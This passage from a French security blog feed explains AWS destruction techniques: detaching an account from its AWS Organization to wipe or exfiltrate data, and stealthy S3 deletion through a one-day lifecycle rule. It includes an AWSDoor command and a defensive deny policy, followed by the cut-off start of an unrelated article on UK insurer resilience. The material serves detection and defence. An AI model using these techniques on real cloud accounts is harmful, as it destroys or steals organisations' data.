<figure id="attachment_27360" aria-describedby="caption-attachment-27360" style="width: 693px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27360" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-159x191.png" alt="Événement enregistré par CloudTrail" width="693" height="832" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-159x191.png 159w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-33x39.png 33w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-768x922.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word.png 880w" sizes="auto, (max-width: 693px) 100vw, 693px" /><figcaption id="caption-attachment-27360" class="wp-caption-text"><em>Événement enregistré par CloudTrail</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">De même, l’analyse de la collecte des journaux et de leur volumétrie constituerait un indicateur de compromission intéressant. Si le flux de journaux s’interrompt, il est probable qu’il s’agisse d’une attaque.</p>
<p> </p>
<h2>Destruction</h2>
<p style="text-align: justify;">Les attaques ciblant la destruction de données visent à <strong>provoquer d’importants dommages opérationnels en effaçant ou en corrompant de manière permanente des informations et des infrastructures critiques</strong>. Contrairement à l’exfiltration de données ou à l’élévation de privilèges, ces attaques ne cherchent pas à extraire de la valeur ou à maintenir un accès, mais plutôt à perturber la continuité des activités, nuire à la réputation ou saboter les systèmes de façon irréversible.</p>
<p style="text-align: justify;">Dans les environnements cloud comme AWS, <strong>les attaques destructrices peuvent toucher tous types de ressources</strong>, comme par exemple : les ressources de stockage, les ressources de calcul ou les composants de configuration tels que les rôles IAM et les fonctions Lambda :</p>
<ul style="text-align: justify;">
<li><strong>La suppression de buckets S3</strong> peut entraîner la perte de sauvegardes, de données clients ou d’informations réglementaires / techniques (journalisation).</li>
<li><strong>L’effacement de volumes EBS ou de snapshots RDS</strong> peut provoquer la perte totale de l’état d’une application ou de bases de données critiques.</li>
<li><strong>Le formatage du compte AWS</strong> (en supprimant tous les services possibles) peut causer une interruption de service très longue, même si les données sont sauvegardées en externe, en particulier si l’infrastructure n’est pas déployée via IaC ou si l’IaC est également détruit.</li>
</ul>
<p style="text-align: justify;"> </p>
<h3>AWS Organization Leave</h3>
<h4>Organization Leave</h4>
<p style="text-align: justify;">AWS <strong>Organizations est un service qui permet de gérer et de gouverner de manière centralisée plusieurs comptes AWS</strong> à partir d’un point unique. Au sommet de la hiérarchie se trouve le service Organization, comprenant un compte de gestion (appelé compte payeur / maître / compte de gestion) et un ou plusieurs comptes membres. Ces comptes peuvent être regroupés en unités organisationnelles, ce qui facilite l’application de politiques ou la gestion des sauvegardes à grande échelle.</p>
<p style="text-align: justify;">Chaque compte AWS <strong>au sein d’une organisation reste isolé en termes de ressources et d’identité</strong>, mais l’organisation peut appliquer des politiques telles que les Service Control Policies (SCP) à l’ensemble des comptes, imposant ainsi des restrictions spécifiques à tous les comptes, de la même manière qu’un GPO le fait dans un domaine Windows. <strong>Cette structure est particulièrement utile pour séparer les données et les charges de travail</strong> par équipe, environnement ou unité métier, tout en maintenant une gouvernance centralisée.</p>
<p style="text-align: justify;">AWS permet également d’inviter ou de rattacher un compte autonome existant à une organisation. Ce processus peut être initié depuis le compte de gestion et nécessite que le compte invité accepte la demande. De même, des comptes peuvent être détachés et déplacés vers une autre organisation, bien que cette action soit soumise à certaines restrictions. Par exemple, certains services ou fonctionnalités AWS peuvent se comporter différemment lorsqu’un compte fait partie d’une organisation, notamment en matière de facturation consolidée et d’application des politiques. Cette fonctionnalité peut être utile lors de fusions, de restructurations ou pour la gestion du cycle de vie des comptes, mais elle ouvre également un vecteur d’attaque potentiel si elle n’est pas étroitement surveillée.</p>
<p> </p>
<figure id="attachment_27362" aria-describedby="caption-attachment-27362" style="width: 935px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27362" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-330x191.png" alt="Exemple d’Organisation AWS " width="935" height="541" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-768x444.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word.png 1223w" sizes="auto, (max-width: 935px) 100vw, 935px" /><figcaption id="caption-attachment-27362" class="wp-caption-text"><em>Exemple d’Organisation AWS</em></figcaption></figure>
<p> </p>
<h4 style="text-align: justify;">Suppression de données</h4>
<p style="text-align: justify;">La suppression de <strong>toutes les données d’un compte AWS n’est que rarement instantanée</strong>. Si certaines ressources comme les rôles IAM ou les groupes de sécurité peuvent être supprimées rapidement, d’autres, comme de grands buckets S3, des snapshots EBS ou des instances RDS, nécessitent plus de temps en raison de leur taille ou de la nature de l’infrastructure sous-jacente.</p>
<p style="text-align: justify;">Pour contourner cette limitation, un attaquant ayant compromis le compte de gestion (pour impacter l’ensemble des comptes) ou simplement un compte spécifique peut <strong>exploiter AWS Organizations en détachant le compte ciblé et en le déplaçant vers une organisation qu’il contrôle</strong>. Cette opération s’effectue via la fonctionnalité Leave Organization (Quitter l’organisation).</p>
<p style="text-align: justify;">Contrairement à la suppression de données, <strong>quitter une organisation est une action immédiate</strong>. Une fois le compte sorti de l’organisation AWS de l’entreprise, il est trop tard : l’action ne peut pas être annulée. Sans droits AdminAccess sur le compte autonome, il ne sera pas possible de le rattacher facilement à l’organisation, offrant ainsi à l’attaquant une large fenêtre pour supprimer méthodiquement toutes les ressources qui y sont attachées.</p>
<h3> </h3>
<h4>Exfiltration de données avant suppression</h4>
<p style="text-align: justify;">Bien que la commande LeaveOrganization soit une opération destructrice, elle peut également être utilisée pour exfiltrer des données avant leur suppression. Au lieu d’effacer toutes les ressources d’un compte AWS compromis, un attaquant peut choisir de détacher le compte de l’organisation, de conserver toute l’infrastructure intacte et d’exfiltrer lentement des données sensibles.</p>
<p style="text-align: justify;">Par exemple, une entreprise <strong>héberge une application eShop sur AWS</strong>. L’attaquant, ayant compromis le compte AWS, utilise l’action LeaveOrganization pour reprendre le contrôle de la ressource eShop. Cette action retire le compte du contrôle centralisé, supprimant ainsi toute Service Control Policy, toute journalisation centralisée et tout mécanisme de gouvernance précédemment appliqué par l’organisation, sans pour autant impacter sa disponibilité.</p>
<p style="text-align: justify;">Avec le <strong>contrôle total de ce compte désormais autonome, l’attaquant peut agir sans supervision</strong>. L’eShop continue de fonctionner normalement, servant les clients et traitant les commandes, mais en arrière-plan, l’attaquant dispose d’un accès illimité à toutes les ressources associées. Il peut lire les buckets S3, interroger la base de données clients, extraire des données de paiement et exfiltrer discrètement les informations bancaires ainsi que les données personnelles de chaque utilisateur, sans interrompre le service ni déclencher d’alertes opérationnelles.</p>
<p style="text-align: justify;">Du point de vue de l’entreprise, u<strong>ne fois que le compte a quitté l’AWS Organization, l’équipe de sécurité perd toute visibilité et autorité administrative sur celui-ci.</strong> Elle ne peut plus arrêter facilement les ressources impactées directement depuis son propre compte AWS.</p>
<p> </p>
<figure id="attachment_27364" aria-describedby="caption-attachment-27364" style="width: 1123px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27364" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-302x191.png" alt="Impact de la sortie d’une organisation AWS" width="1123" height="710" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-302x191.png 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-768x485.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word.png 1226w" sizes="auto, (max-width: 1123px) 100vw, 1123px" /><figcaption id="caption-attachment-27364" class="wp-caption-text"><em>Impact de la sortie d’une organisation AWS</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Sans accès administrateur au compte désormais isolé, <strong>l’entreprise n’a aucun moyen de désactiver les services</strong>, de suspendre la facturation ou de mettre fin à l’infrastructure compromise. Cela donne à l’attaquant une liberté opérationnelle totale, tandis que l’organisation se retrouve aveugle et incapable de réagir autrement qu’en sollicitant l’assistance AWS.</p>
<p> </p>
<h4>Privilèges requis</h4>
<p style="text-align: justify;">Pour exécuter l’action LeaveOrganization et <strong>détacher un compte AWS de son organisation</strong>, l’attaquant <strong>doit disposer de privilèges élevés au sein du compte ciblé</strong>. Plus précisément, les conditions et autorisations IAM suivantes sont requises :</p>
<ul>
<li style="text-align: justify;"><strong>Accès au niveau du compte </strong>: l’attaquant doit avoir un accès direct au compte membre qu’il souhaite détacher. Cela signifie qu’il doit déjà être authentifié dans ce compte AWS spécifique, soit via des identifiants volés, des jetons de session, ou en exploitant des rôles ou politiques IAM vulnérables.</li>
<li style="text-align: justify;"><strong>Permission organizations:LeaveOrganization </strong>: il s’agit de l’autorisation IAM clé nécessaire pour invoquer l’appel API LeaveOrganization. Elle doit être explicitement accordée dans les permissions effectives de l’attaquant. Cette action n’est valide que lorsqu’elle est exécutée depuis le compte membre, et non depuis le compte de gestion.</li>
<li style="text-align: justify;"><strong>Accès à la facturation </strong>: bien que non strictement requis pour quitter une organisation, un attaquant ayant accès à la facturation et aux paramètres du compte (via les actions aws-portal:*, account:* ou billing:*) peut renforcer sa position, mettre à jour les informations de contact ou verrouiller les utilisateurs légitimes après le détachement. De plus, la plupart des comptes créés au sein d’une organisation le sont sans informations de paiement (car elles sont héritées du compte payeur). Cependant, pour qu’un compte puisse être détaché et devenir autonome, ces informations doivent être renseignées.</li>
</ul>
<p> </p>
<h4>Défense and détection</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Prévention des appels non autorisés à leaveorganization</span></h5>
<p style="text-align: justify;">Le contrôle le plus efficace est l’utilisation des <strong>Service Control Policies (SCP).</strong> Les SCP définissent les permissions maximales disponibles pour les comptes au sein d’une AWS Organization et peuvent refuser explicitement l’action organizations:LeaveOrganization, même si un utilisateur ou un rôle IAM local dispose de cette permission.</p>
<p style="text-align: justify;">L’opération LeaveOrganization est exécutée depuis le compte membre lui-même, et non par le compte de gestion. Cela signifie qu’un attaquant n’a pas besoin de compromettre entièrement l’organisation AWS pour détacher un compte.</p>
<p style="text-align: justify;">La SCP, <strong>définie au niveau de l’organisation, peut empêcher tout utilisateur des comptes de quitter l’organisation.</strong> Dans ce cas, l’attaquant doit d’abord compromettre l’ensemble de l’organisation AWS avant de pouvoir mener l’attaque.</p>
<p>La politique suivante empêchera tout usage abusif de LeaveOrganization :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "DenyLeaveOrganization",<br />      "Effect": "Deny",<br />      "Action": "organizations:LeaveOrganization",<br />      "Resource": "*"<br />    }<br />  ]<br /><br />}</pre>
<p> </p>
<p style="text-align: justify;">Cette SCP doit <strong>être attachée directement à la racine de l’AWS Organization</strong> afin de garantir qu’elle s’applique à tous les comptes membres. Elle garantit qu’aucun compte ne puisse quitter unilatéralement l’organisation, même en cas de compromission.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Détection et Monitoring</span></h5>
<p style="text-align: justify;">Même avec des SCP en place<strong>, la surveillance des tentatives de LeaveOrganization est essentielle pour une défense en profondeur</strong>. En effet, même si l’action LeaveOrganization échoue en raison de la SCP, disposer d’une surveillance sur l’événement LeaveOrganization peut aider à détecter qu’une attaque est en cours dans l’environnement AWS.</p>
<p style="text-align: justify;">Par exemple, une alarme CloudWatch pour déclencher des alertes lorsque l’événement LeaveOrganization ou DisablePolicyType se produit.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Destruction de bucket S3</h3>
<h4 style="text-align: justify;">Politique standard de suppression S3</h4>
<p style="text-align: justify;"><strong>Amazon S3 est l’un des services de stockage les plus utilisés et les plus fiables</strong> de l’écosystème AWS. Les organisations s’appuient sur lui pour stocker aussi bien des journaux et des fichiers que des données métier critiques et des sauvegardes. La destruction de données S3 peut avoir un impact bien plus important que la perte de quelques ressources de calcul, ce qui en fait une cible de grande valeur pour les attaquants.</p>
<p style="text-align: justify;">Si le téléversement et le stockage de données dans S3 sont simples, la suppression de volumes importants de données est volontairement coûteuse en ressources et chronophage. Lorsqu’un bucket S3 est supprimé ou vidé, AWS effectue une suppression récursive et séquentielle de chaque objet, ce qui peut prendre des heures, voire des jours, dans de grands environnements.</p>
<p style="text-align: justify;"><strong>De plus, AWS applique une cohérence finale (eventual consistency)</strong> sur les suppressions d’objets : même après une requête de suppression, <strong>les objets peuvent persister temporairement</strong>. Ces choix de conception offrent aux défenseurs une fenêtre temporelle cruciale pour détecter et contrer les tentatives de suppression avant qu’une perte de données irréversible ne survienne.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Politique de cycle de vie</h4>
<p style="text-align: justify;">Les politiques de cycle de vie Amazon S3 offrent un mécanisme automatisé pour <strong>gérer le cycle de vie du stockage</strong> des objets dans un bucket. Elles permettent de définir des règles qui transfèrent les objets vers différentes classes de stockage ou <strong>les font expirer (supprimer) après une période définie, selon des critères tels que l’âge de l’objet,</strong> un préfixe ou des balises. Cette automatisation aide les organisations à optimiser les coûts de stockage et à appliquer des politiques de conservation des données sans intervention manuelle.</p>
<p style="text-align: justify;">Cependant, <strong>les politiques de cycle de vie fonctionnent différemment des processus manuels</strong> <strong>et contournent les protections standard</strong> conçues pour ralentir les suppressions massives. Un attaquant ayant obtenu des privilèges élevés dans un compte AWS peut créer ou modifier une politique de cycle de vie afin de fixer l’expiration des objets à la durée minimale autorisée (1 jour). <strong>Une fois appliquée, cette politique est rétroactive :</strong> tous les objets existants dans le bucket seront marqués pour expiration et programmés pour suppression, et tous les nouveaux objets créés expireront peu après leur création.</p>
<p style="text-align: justify;"><strong>Contrairement aux suppressions manuelles, les expirations via une politique de cycle de vie sont gérées en interne par AWS</strong> à grande échelle et s’exécutent beaucoup plus rapidement. Cela peut permettre une suppression massive, rapide et furtive du contenu d’un bucket, sans générer le volume d’appels API ou le bruit opérationnel typique des suppressions récursives manuelles. Comme les modifications de politiques de cycle de vie peuvent ne pas déclencher d’alertes immédiates ou évidentes, un tel abus représente un risque important de destruction de données non détectée dans les environnements AWS.</p>
<p style="text-align: justify;">Étant donné que <strong>les politiques de cycle de vie sont appliquées quotidiennement, le défenseur dispose de moins d’une journée pour détecter la modification de la politique</strong>, retirer le marquage de suppression et révoquer l’accès de l’attaquant.</p>
<p> </p>
<h4>AWSDoor</h4>
<p>Cette technique est implémentée par AWSDoor:</p>
<pre>python .\main.py --m S3ShadowDelete -n s3bucketname</pre>
<p> </p>
<h4 style="text-align: justify;">Détection</h4>
<p style="text-align: justify;">La détection des suppressions furtives d’objets via les politiques de cycle de vie S3 peut facilement être manquée, car la suppression d’objets par expiration de cycle de vie ne génère pas d’événements DeleteObject standards dans CloudTrail, contrairement aux suppressions manuelles.</p>
<p style="text-align: justify;">À la place, AWS gère en interne le processus de suppression de manière asynchrone, sans attribuer ces suppressions à un utilisateur ou rôle spécifique. Par conséquent, de nombreuses solutions de surveillance de sécurité ne reconnaissent pas cette action comme malveillante, alors qu’elle vise à impacter la disponibilité des données. <strong>Le seul indicateur fiable d’une telle opération est l’événement API PutBucketLifecycleConfiguration,</strong> qui journalise la création ou la mise à jour d’une règle de cycle de vie définissant un nouveau paramètre d’expiration (Expiration).</p>
<p style="text-align: justify;">Pour détecter un abus potentiel, il convient de configurer une règle CloudWatch afin de surveiller les événements PutBucketLifecycleConfiguration et d’inspecter automatiquement la nouvelle configuration de politique. Si la politique inclut une action d’expiration fixée à la durée minimale autorisée (1 jour) ou s’applique largement à tous les objets, cela doit être considéré comme un changement à haut risque.</p>
<p style="text-align: justify;">Dans les environnements sensibles, de tels changements de configuration devraient déclencher des alertes immédiates, <strong>une remédiation automatique</strong> et nécessiter une validation manuelle. Comme cette méthode contourne la traçabilité habituelle des suppressions au niveau objet, une détection précoce au niveau de la configuration est essentielle pour éviter une perte de données silencieuse et à grande échelle : l’équipe de défense ne disposera que d’une journée pour réagir.</p>
<p> </p>
<h2>Conclusion</h2>
<h3>CSPM</h3>
<p style="text-align: justify;">L’article a montré comment les configurations IAM peuvent être exploitées de manière furtive pour maintenir un accès à long terme dans des environnements AWS. Des techniques telles que l’injection de clés d’accès (AccessKey injection), l’ajout de portes dérobées dans les politiques de confiance (trust policy backdooring) et l’utilisation de politiques NotAction permettent aux attaquants de persister sans déployer de logiciel malveillant ni déclencher d’alertes.</p>
<p style="text-align: justify;">Une solution de Cloud Security Posture Management (CSPM) joue un rôle clé dans la prévention de ces abus. En surveillant en continu les configurations IAM, en détectant les politiques trop permissives et en identifiant les écarts par rapport aux référentiels de conformité, un CSPM peut mettre rapidement en évidence des changements suspects. Par exemple, il peut signaler la création de nouvelles clés d’accès pour des utilisateurs qui utilisent habituellement le SSO, ou détecter l’établissement de relations de confiance avec des comptes externes. Ces capacités aident à empêcher qu’une persistance basée sur IAM ne s’installe durablement.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">EDR</h3>
<p style="text-align: justify;">Au-delà d’IAM, les attaquants peuvent exploiter directement les ressources AWS, telles que les fonctions Lambda et les instances EC2, pour maintenir un accès. L’article a détaillé comment des Lambda layers compromises, des rôles sur‑privilégiés et des tunnels inversés basés sur SSM peuvent être utilisés pour persister sans modifier directement IAM.</p>
<p style="text-align: justify;">Un Cloud EDR complète un CSPM en se concentrant sur le comportement à l’exécution et le contexte d’exécution. Il peut détecter des exécutions Lambda inhabituelles, des expositions inattendues via API Gateway, ou des instances EC2 initiant des tunnels sortants. En corrélant ces comportements avec le contexte d’identité et les changements récents de configuration, un EDR Cloud peut mettre en lumière des techniques de persistance qui passeraient autrement inaperçues. Cette visibilité comportementale est essentielle pour détecter en temps réel la persistance basée sur les ressources.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Backup et journalisation</h3>
<p style="text-align: justify;">Enfin, l’article a exploré comment des attaquants peuvent altérer la visibilité et la capacité de récupération en ciblant les mécanismes de journalisation et de sauvegarde. La désactivation de CloudTrail, la modification des sélecteurs d’événements, le déploiement de politiques de cycle de vie pour une suppression silencieuse dans S3 ou le détachement de comptes d’une AWS Organization sont autant de techniques qui réduisent la supervision et permettent un compromis ou une destruction à long terme.</p>
<p style="text-align: justify;">Là encore, un CSPM et un EDR Cloud offrent des défenses complémentaires. Un CSPM peut détecter des erreurs de configuration dans les pipelines de journalisation, des modifications non autorisées de politiques de cycle de vie ou des tentatives de quitter l’organisation. De son côté, un EDR Cloud peut repérer l’absence de télémétrie attendue, des baisses soudaines du volume de journaux ou des appels API destructeurs. Ensemble, ils garantissent que les capacités de visibilité et de récupération restent intactes, même en cas d’attaque active.</p>
<p> </p>
<p> </p>
















<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/">AWSDoor : Persistance sur AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Résilience par design : Les impératifs stratégiques pour les assureurs généraux et de réassurance au Royaume-Uni (2025 – 2030)</title>
		<link>https://www.riskinsight-wavestone.com/2025/09/resilience-par-design-les-imperatifs-strategiques-pour-les-assureurs-generaux-et-de-reassurance-au-royaume-uni-2025-2030/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/09/resilience-par-design-les-imperatifs-strategiques-pour-les-assureurs-generaux-et-de-reassurance-au-royaume-uni-2025-2030/#respond</comments>
		
		<dc:creator><![CDATA[Suman Dogra Gaur]]></dc:creator>
		<pubDate>Wed, 03 Sep 2025 06:16:20 +0000</pubDate>
				<category><![CDATA[Cyberrisk Management & Strategy]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Compliance]]></category>
		<category><![CDATA[approche unifiée de la résilience]]></category>
		<category><![CDATA[Cybersécurité]]></category>
		<category><![CDATA[Gestion des risques]]></category>
		<category><![CDATA[résilience opérationelle]]></category>
		<category><![CDATA[Resilience par design]]></category>
		<category><![CDATA[secteur des assurances]]></category>
		<category><![CDATA[stratégie]]></category>
		<category><![CDATA[UK]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27064</guid>

					<description><![CDATA[<p>Le secteur britannique de l’assurance et de la réassurance traverse une période de transformation rapide, marquée par des réformes réglementaires, une intensification des menaces cyber et des conditions macroéconomiques en évolution. Avec une valorisation du marché combiné à 74,6 milliards...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/resilience-par-design-les-imperatifs-strategiques-pour-les-assureurs-generaux-et-de-reassurance-au-royaume-uni-2025-2030/">Résilience par design : Les impératifs stratégiques pour les assureurs généraux et de réassurance au Royaume-Uni (2025 – 2030)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Le secteur britannique de l’assurance et de la réassurance traverse une période de transformation rapide, marquée par des réformes réglementaires, une intensification des menaces cyber et des conditions macroéconomiques en évolution. Avec une valorisation du marché combiné à 74,6 milliards de livres sterling et une croissance prévisionnelle des bénéfices de 18 % par an, le secteur reste résilient malgré la volatilité mondiale ; reflétant un fort sentiment des investisseurs et une confiance durable dans la croissance à long terme. Dans ce contexte, les régulateurs britanniques continuent de renforcer leur attention sur la résilience opérationnelle, pressant les institutions financières à se prémunir contre les disruptions cyber et les vulnérabilités systémiques.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-27048" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/picture1-1.png" alt="Operational resilience landscape will continue to rapidly evolve" width="692" height="370" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/picture1-1.png 692w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/picture1-1-357x191.png 357w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/picture1-1-71x39.png 71w" sizes="auto, (max-width: 692px) 100vw, 692px" /></p>
<p style="text-align: justify;">Ces dernières années, les régulateurs ont régulièrement incité les assureurs à adopter des stratégies holistiques allant bien au-delà des approches traditionnelles de relance après un sinistre — en intégrant la résilience au cœur des opérations commerciales et tout au long du cycle de vie du développement des logiciels.</p>
<p style="text-align: justify;">Ce document vise à offrir une perspective globale sur la résilience, en réunissant la continuité opérationnelle, la cybersécurité et la gestion des risques liés aux tiers. Il peut servir de guide stratégique pour les dirigeants (CxO), en expliquant comment identifier le Minimum Viable de l’Entreprise (EMV), en fournissant des analyses de marché sur la tolérance aux perturbations à l’échelle du secteur, et en anticipant l’évolution du cadre réglementaire et de la résilience cyber jusqu’en 2030.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-27043" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image2.png" alt="comprehensive perspective on resilience" width="607" height="558" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image2.png 607w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image2-208x191.png 208w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image2-42x39.png 42w" sizes="auto, (max-width: 607px) 100vw, 607px" /></p>
<p style="text-align: justify;"> </p>
<p> </p>
<h2><strong> Cadre du Minimum Viable de l’Entreprise (EMV)</strong></h2>
<p style="text-align: justify;">La politique sur la résilience opérationnelle de la FCA (PS21/3) oblige les assureurs à identifier leurs Services d’Activité Importants (SAI) et à développer des stratégies pour les maintenir lors de perturbations sévères.<br />Bien que le concept d’EMV ne soit pas explicitement mentionné dans la PS21/3 (politique de la FCA sur le renforcement de la résilience opérationnelle, publiée en mars 2021), les organisations sont invitées à définir leur « empreinte opérationnelle minimale », ce qui s’aligne étroitement avec les principes de l’EMV.</p>
<p style="text-align: justify;">Pensez l’EMV comme la bouée de sauvetage de votre organisation : ces services, processus, technologies et équipes indispensables qui maintiennent la confiance et la stabilité financière, même lorsque tout le reste doit être mis en pause.</p>
<p style="text-align: justify;">La plupart des organisations maintiennent une légère EMV  — elle représente seulement 15 à 17 % de l’activité totale — soutenue par des listes solides d’applications critiques, d’infrastructures essentielles, de données clés et de relations tierces vitales.<br />Ce n’est pas qu’une simple question de conformité : il s’agit d’identifier une base modulaire et évolutive permettant à l’entreprise d’isoler les problèmes, de se rétablir rapidement et de continuer à opérer en période de risques systémiques.</p>
<p style="text-align: justify;">Sur la base de notre vaste expérience auprès des principaux acteurs de l’assurance au Royaume-Uni et à l’international, voici une liste indicative des services essentiels généralement identifiés :</p>
<table style="height: 701px; background-color: #f4f2f5; width: 86.1334%;" width="86.1334%">
<tbody>
<tr style="height: 68px;">
<td style="width: 31.5615%; height: 68px;">
<p><strong>Catégorie</strong></p>
</td>
<td style="width: 86.5469%; height: 68px;">
<p><strong>Services clés</strong></p>
</td>
</tr>
<tr style="height: 100px;">
<td style="width: 31.5615%; height: 100px;">
<p>Protection des assurés</p>
</td>
<td style="width: 86.5469%; height: 100px;">
<p>Traitement des sinistres, émission des polices, renouvellements, annulations</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="width: 31.5615%; height: 100px;">
<p>Continuité financière</p>
</td>
<td style="width: 86.5469%; height: 100px;">
<p>Encaissement des primes, surveillance de la solvabilité, exécution des paiements</p>
</td>
</tr>
<tr style="height: 133px;">
<td style="width: 31.5615%; height: 133px;">
<p>Conformité</p>
</td>
<td style="width: 86.5469%; height: 133px;">
<p>Contrôle de lutte contre le blanchiment d’argent (LBA), vérifications des sanctions, rapports sur la conduite et les transactions</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="width: 31.5615%; height: 100px;">
<p>Engagement client</p>
</td>
<td style="width: 86.5469%; height: 100px;">
<p>Gestion des réclamations, opérations du centre de contact, portails numériques</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="width: 31.5615%; height: 100px;">
<p>Souscription &amp; risques</p>
</td>
<td style="width: 86.5469%; height: 100px;">
<p>Devis, analyse des risques, placement et gestion de la réassurance</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="width: 31.5615%; height: 100px;">
<p>Contrôle des tiers</p>
</td>
<td style="width: 86.5469%; height: 100px;">
<p>Relations avec les courtiers, gestion externalisée des sinistres, contrats avec les fournisseurs</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Analyse approfondie des tendances en matière de tolérance à l’impact, avec un examen détaillé des standards observés et des justifications stratégiques pour les services essentiels identifiés dans le cadre de l’EMV.</p>
<p style="text-align: justify;"><em>Remarque :</em> Les plages de tolérance présentées ci-dessous sont fournies à titre indicatif, sur la base de notre étude de marché et de notre expérience en conseil réglementaire. Les tolérances réelles peuvent varier en fonction de plusieurs facteurs, tels que les juridictions concernées, le profil de risque de l’organisation et sa capacité financière.</p>
<p style="text-align: justify;"> </p>
<table style="height: 640px; width: 100%; background-color: #f4f2f5;" width="100%">
<tbody>
<tr style="height: 68px;">
<td style="height: 68px;" width="200">
<p><strong>Service</strong></p>
</td>
<td style="height: 68px;" width="200">
<p><strong>Niveau de tolérance*</strong></p>
</td>
<td style="height: 68px;" width="200">
<p><strong>Stratégie </strong></p>
</td>
</tr>
<tr style="height: 68px;">
<td style="height: 68px;" width="200">
<p>Traitement des sinistres</p>
</td>
<td style="height: 68px;" width="200">
<p>4–6 heures</p>
</td>
<td style="height: 68px;" width="200">
<p>Grande sensibilité clients</p>
</td>
</tr>
<tr style="height: 68px;">
<td style="height: 68px;" width="200">
<p>Contrôle LBA/Sanctions</p>
</td>
<td style="height: 68px;" width="200">
<p>En temps réel ≤1 h</p>
</td>
<td style="height: 68px;" width="200">
<p>Tolérance zéro réglementaire</p>
</td>
</tr>
<tr style="height: 68px;">
<td style="height: 68px;" width="200">
<p>Encaissement des primes</p>
</td>
<td style="height: 68px;" width="200">
<p>1–2 jours ouvrés</p>
</td>
<td style="height: 68px;" width="200">
<p>Risque de viabilité financière</p>
</td>
</tr>
<tr style="height: 68px;">
<td style="height: 68px;" width="200">
<p>Opérations du centre de contact</p>
</td>
<td style="height: 68px;" width="200">
<p>2–4 heures</p>
</td>
<td style="height: 68px;" width="200">
<p>Réputation et satisfaction client</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>Emission de contrats</p>
</td>
<td style="height: 100px;" width="200">
<p>24–48 heures</p>
</td>
<td style="height: 100px;" width="200">
